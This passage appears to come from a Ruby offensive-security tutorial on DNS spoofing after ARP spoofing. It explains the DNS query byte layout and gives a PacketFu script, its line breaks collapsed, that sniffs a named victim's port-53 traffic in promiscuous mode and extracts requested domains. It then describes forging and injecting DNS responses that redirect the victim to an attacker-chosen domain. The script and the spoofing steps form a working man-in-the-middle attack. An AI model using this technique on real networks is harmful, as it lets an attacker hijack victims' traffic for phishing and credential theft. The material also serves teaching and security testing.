Now we cant intercept DNS Query packet coming from victim's machine. Since PacketFu supports filters in capturing (to reduce mount of captured packets) we'll use udp and port 53 and host filter, then we'll inspect the captured packet to ensure that it's a query then find the requested domain. Download DNS packet.
From Wireshark, if we take a deeper look at the DNS query payload in Domain Name System (query), we can see its been presented in hexadecimal format.
The 13th byte specifies the length of the domain name before the very first dot (without last dot com or whatever the top domain is). (Our case: \x07) Try:[%w{ 74 77 69 74 74 65 72 }.join].pack("H*")
Notice The domain name of "twitter.com" equals \x07 but "www.twitter.com" equals \x03 the same consideration for subdomains
Each dot after first dot will be replaced with the length of the followed characters
e.g. www.google.co.uk
First length (www) => will be replaced with \x03
First dot(.google) => will be replaced with \x06
Second dot(.co) => will be replaced with \x02
Third dot(.uk) => will be replaced with \x02
The very end of the domain name string is terminated by a \x00.
The next 2 bytes refers to the type of the query. (Our case: \x00\x01)
Now what?!
We need to start capturing/sniffing on specific interface
We need to enable promiscuous mode on our interface
We need to capture UDP packets on port 53 only
We need parse/analyze the valid UDP packets only
We need to make sure this packet is a DNS query
We need to get the queried/requested domain
We need to know the domain length
We need to get the FQDN
Build a DNS response
Replace the requested domain with any domain we want
Re inject the packet into victim connection and send
I'll divide our tasks then wrap it up in one script
#!/usr/bin/env ruby#require'packetfu'includePacketFu## * We need to start capturing/sniffing on specific interface# * We need to enable promiscuous mode on our interface# * We need to capture UDP packets on port 53 only#filter ="udp and port 53 and host "+"192.168.0.21"capture =Capture.new(:iface =>"wlan0",:start =>true, :promisc =>true, :filter => filter, :save =>true)# * We need to get the queried/requested domain# * We need to know the domain length# * We need to get the FQDN## Convert DNS Payload to readable - Find The FQDN#defreadable(raw_domain)# Prevent processing non domainif raw_domain[0].ord ==0puts"ERROR : THE RAW STARTS WITH 0"return raw_domain[1..-1]end fqdn ="" length_offset = raw_domain[0].ord full_length = raw_domain[ 0..length_offset ].length domain_name = raw_domain[(full_length - length_offset)..length_offset]while length_offset !=0 fqdn << domain_name +"." length_offset = raw_domain[full_length].ord domain_name = raw_domain[full_length +1..full_length + length_offset] full_length = raw_domain[0..full_length + length_offset].lengthendreturn fqdn.chomp!('.')end# * We need parse/analyze the valid UDP packets only# * We need to make sure this packet is a DNS query## Find the DNS packets#capture.stream.each do|pkt|# Make sure we can parse the packet; if we can, parse itifUDPPacket.can_parse?(pkt) @packet =Packet.parse(pkt)# Make sure we have a query packet dns_query = @packet.payload[2..3].to_sif dns_query =="\x01\x00"# Get the domain name into a readable format domain_name = @packet.payload[12..-1].to_s # FULL QUERY fqdn = readable(domain_name)# Ignore non query packetnextif domain_name.nil?puts"DNS request for: "+ fqdnendendend
Till now we successfully finished ARP Spoofing then DNS capturing but still we need to replace/spoof the original response to our domain. e.g. attacker.zone, now we have to build a DNS response instead of spoofed to be sent. So what we need?
taking the IP we are going to redirect the user to (the spoofing_ip)
converting it into hex using the to_i and pack methods.
From there we create a new UDP packet using the data contained in @ourInfo (IP and MAC) and fill in the normal UDP fields.
I take most of this information straight from the DNS Query packet.
The next step is to create the DNS Response.
the best way to understand the code here is to look at a DNS header and then
take the bit map of the HEX values and apply them to the header.
This will let you see what flags are being set.
From here, we just calculate the checksum for the UDP packet and send it out to the target's machine.